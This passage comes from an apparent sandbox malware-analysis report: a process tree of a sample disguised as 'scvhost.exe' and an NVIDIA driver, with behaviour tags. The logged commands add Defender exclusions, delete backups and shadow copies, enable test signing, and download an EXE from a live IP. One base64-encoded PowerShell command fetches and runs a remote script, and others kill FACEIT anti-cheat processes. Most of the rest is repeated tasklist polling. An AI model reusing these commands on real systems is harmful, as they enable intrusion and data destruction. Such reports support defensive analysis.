        PID:3968
    - - C:\Windows\system32\sc.exe
        
        "C:\Windows\system32\sc.exe" failure ExeGuardSvc reset= 86400 actions= restart/5000/restart/15000/restart/60000
        5⤵
        Launches sc.exe
        
        PID:3996
    - - C:\Windows\system32\sc.exe
        
        "C:\Windows\system32\sc.exe" failureflag ExeGuardSvc 1
        5⤵
        Launches sc.exe
        
        PID:2748
    - - C:\Windows\system32\bcdedit.exe
        
        "C:\Windows\system32\bcdedit.exe" /enum {current}
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:4256
    - - C:\Windows\system32\bcdedit.exe
        
        "C:\Windows\system32\bcdedit.exe" /set testsigning on
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:2704
    - - C:\Windows\system32\bcdedit.exe
        
        "C:\Windows\system32\bcdedit.exe" /enum {current}
        5⤵
        Modifies boot configuration data using bcdedit
        
        PID:3148
  - - C:\Program Files\WindowsOptions\scvhost.exe
      "C:\Program Files\WindowsOptions\scvhost.exe"
      4⤵
      Modifies WinLogon for persistence
      UAC bypass
      Executes dropped EXE
      Drops file in Program Files directory
      Modifies registry class
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      System policy modification
      PID:3692
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Program Files\WindowsOptions' -ErrorAction SilentlyContinue; Add-MpPreference -ExclusionPath 'C:\Windows' -ErrorAction SilentlyContinue"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3372
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "Disable-ComputerRestore -Drive C:\ -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','reagentc /disable' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','wbadmin delete backup -backupTarget:C: -allVersions -quiet' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','wbadmin delete backup -backupTarget:D: -allVersions -quiet' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue; Start-Process cmd -ArgumentList '/c','vssadmin delete shadows /all /quiet' -WindowStyle Hidden -Wait -ErrorAction SilentlyContinue"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of WriteProcessMemory
        
        PID:2036
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c reagentc /disable
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:3400
        
        C:\Windows\system32\ReAgentc.exe
        
        reagentc /disable
        7⤵
        Drops file in System32 directory
        Drops file in Windows directory
        
        PID:1452
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c wbadmin delete backup -backupTarget:C: -allVersions -quiet
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:1280
        
        C:\Windows\system32\wbadmin.exe
        
        wbadmin delete backup -backupTarget:C: -allVersions -quiet
        7⤵
        Deletes system backups
        Drops file in Windows directory
        
        PID:4208
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c wbadmin delete backup -backupTarget:D: -allVersions -quiet
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:4316
        
        C:\Windows\system32\wbadmin.exe
        
        wbadmin delete backup -backupTarget:D: -allVersions -quiet
        7⤵
        Deletes system backups
        Drops file in Windows directory
        
        PID:3824
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c vssadmin delete shadows /all /quiet
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:3684
        
        C:\Windows\system32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        7⤵
        Interacts with shadow copies
        
        PID:3564
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'http://150.241.94.206/uploads/Faceit/berserk/asd.exe' -OutFile 'C:\Program Files\WindowsOptions\asd.exe'"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4708
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -WindowStyle Hidden -EncodedCommand WwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBEAGUAZgBhAHUAbAB0AFcAZQBiAFAAcgBvAHgAeQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAFAAcgBvAHgAeQA7ACAAaQByAG0AIABoAHQAdABwAHMAOgAvAC8AYgBlAHIAcwBlAHIAawAuAHIAaQBwAC8AbwBuAGMAbwBuAG4AZQBjAHQALgBwAHMAMQAgAHwAIABpAGUAeAA=
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2260
      - C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        6⤵
        
        PID:4012
  - - C:\Program Files\WindowsOptions\nvidia_dr64.exe
      "C:\Program Files\WindowsOptions\nvidia_dr64.exe"
      4⤵
      Executes dropped EXE
      Modifies trusted root certificate store through registry
      Modifies system certificate store
      Suspicious use of WriteProcessMemory
      PID:3832
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Get-NetFirewallRule -DisplayName 'nvidia' -ErrorAction SilentlyContinue | Remove-NetFirewallRule"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4376
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "New-NetFirewallRule -DisplayName 'nvidia' -Direction Inbound -Program 'C:\Program Files\WindowsOptions\nvidia_d64.exe' -Action Allow -Profile Any"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:1456
    - - C:\Program Files\WindowsOptions\nvidia_d64.exe
        
        "C:\Program Files\WindowsOptions\nvidia_d64.exe" -s "C:\Program Files\WindowsOptions\n_config" --mode regular@6967 --set confdir="C:/ProgramData/WindowsOptions" -q --ssl-insecure
        5⤵
        Executes dropped EXE
        Suspicious use of WriteProcessMemory
        
        PID:3220
      - C:\Program Files\WindowsOptions\nvidia_d64.exe
        
        "C:\Program Files\WindowsOptions\nvidia_d64.exe" -s "C:\Program Files\WindowsOptions\n_config" --mode regular@6967 --set confdir="C:/ProgramData/WindowsOptions" -q --ssl-insecure
        6⤵
        Downloads MZ/PE file
        Executes dropped EXE
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:1536
        
        C:\Windows\SYSTEM32\taskkill.exe
        
        taskkill /F /IM FACEITClient.exe
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4012
        
        C:\Windows\SYSTEM32\taskkill.exe
        
        taskkill /F /IM faceit.exe
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:1384
        
        C:\Windows\SYSTEM32\taskkill.exe
        
        taskkill /F /IM FACEITService.exe
        7⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:5048
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3720
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /NH /FO CSV
        7⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4116
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1452
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        Suspicious use of AdjustPrivilegeToken
        
        PID:4704
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        Suspicious use of AdjustPrivilegeToken
        
        PID:1816
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        Suspicious use of AdjustPrivilegeToken
        
        PID:64
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        Suspicious use of AdjustPrivilegeToken
        
        PID:940
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:4808
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        Suspicious use of AdjustPrivilegeToken
        
        PID:2764
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:4876
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:4772
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:5060
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:4728
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1460
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:4164
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3252
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3968
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2520
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /NH /FO CSV
        7⤵
        
        PID:3508
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1812
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2040
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3448
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:5072
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:468
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:4688
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:4576
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2444
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3252
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:3968
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1380
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:940
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:848
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:4248
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4804
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:4876
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /NH /FO CSV
        7⤵
        
        PID:2964
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1308
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:4860
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1816
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:556
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4952
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4800
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:4400
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2556
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2312
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1032
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2336
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2932
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4592
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:4960
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:2504
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4828
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4976
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /NH /FO CSV
        7⤵
        
        PID:4400
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3088
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:748
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:1532
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4052
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:896
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:1460
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3144
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3564
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1156
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:1088
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:4932
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:1064
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4536
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:4824
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:1868
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3500
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /NH /FO CSV
        7⤵
        
        PID:3472
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:3340
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1788
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:1724
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:3312
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1020
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4260
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2472
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2616
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4412
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:672
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:3512
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2944
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4704
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4408
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:64
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:1768
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4568
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /NH /FO CSV
        7⤵
        Discovers running processes
        
        PID:1020
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1260
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4504
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3572
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:2448
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:4524
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2460
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2444
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2412
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2748
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:4976
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:1812
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4864
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4640
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:288
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4576
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4996
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /NH /FO CSV
        7⤵
        
        PID:4960
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4952
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3812
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:3312
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1696
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2928
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4932
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:1064
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:696
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:3216
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3720
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4840
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1484
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:2248
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:640
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:4908
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:844
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /NH /FO CSV
        7⤵
        Discovers running processes
        
        PID:2332
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1088
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:4484
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4328
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:3928
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3480
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:280
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4008
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:468
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:780
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3828
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:176
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:224
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:4604
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:1896
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:1232
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:3312
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /NH /FO CSV
        7⤵
        
        PID:4392
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:112
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        
        PID:2472
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:568
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:4380
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:2564
        
        C:\Windows\SYSTEM32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq steam.exe" /NH
        7⤵
        Discovers running processes
        
        PID:672
        
        C:\Windows\SYSTEM32\tasklist.exe
        
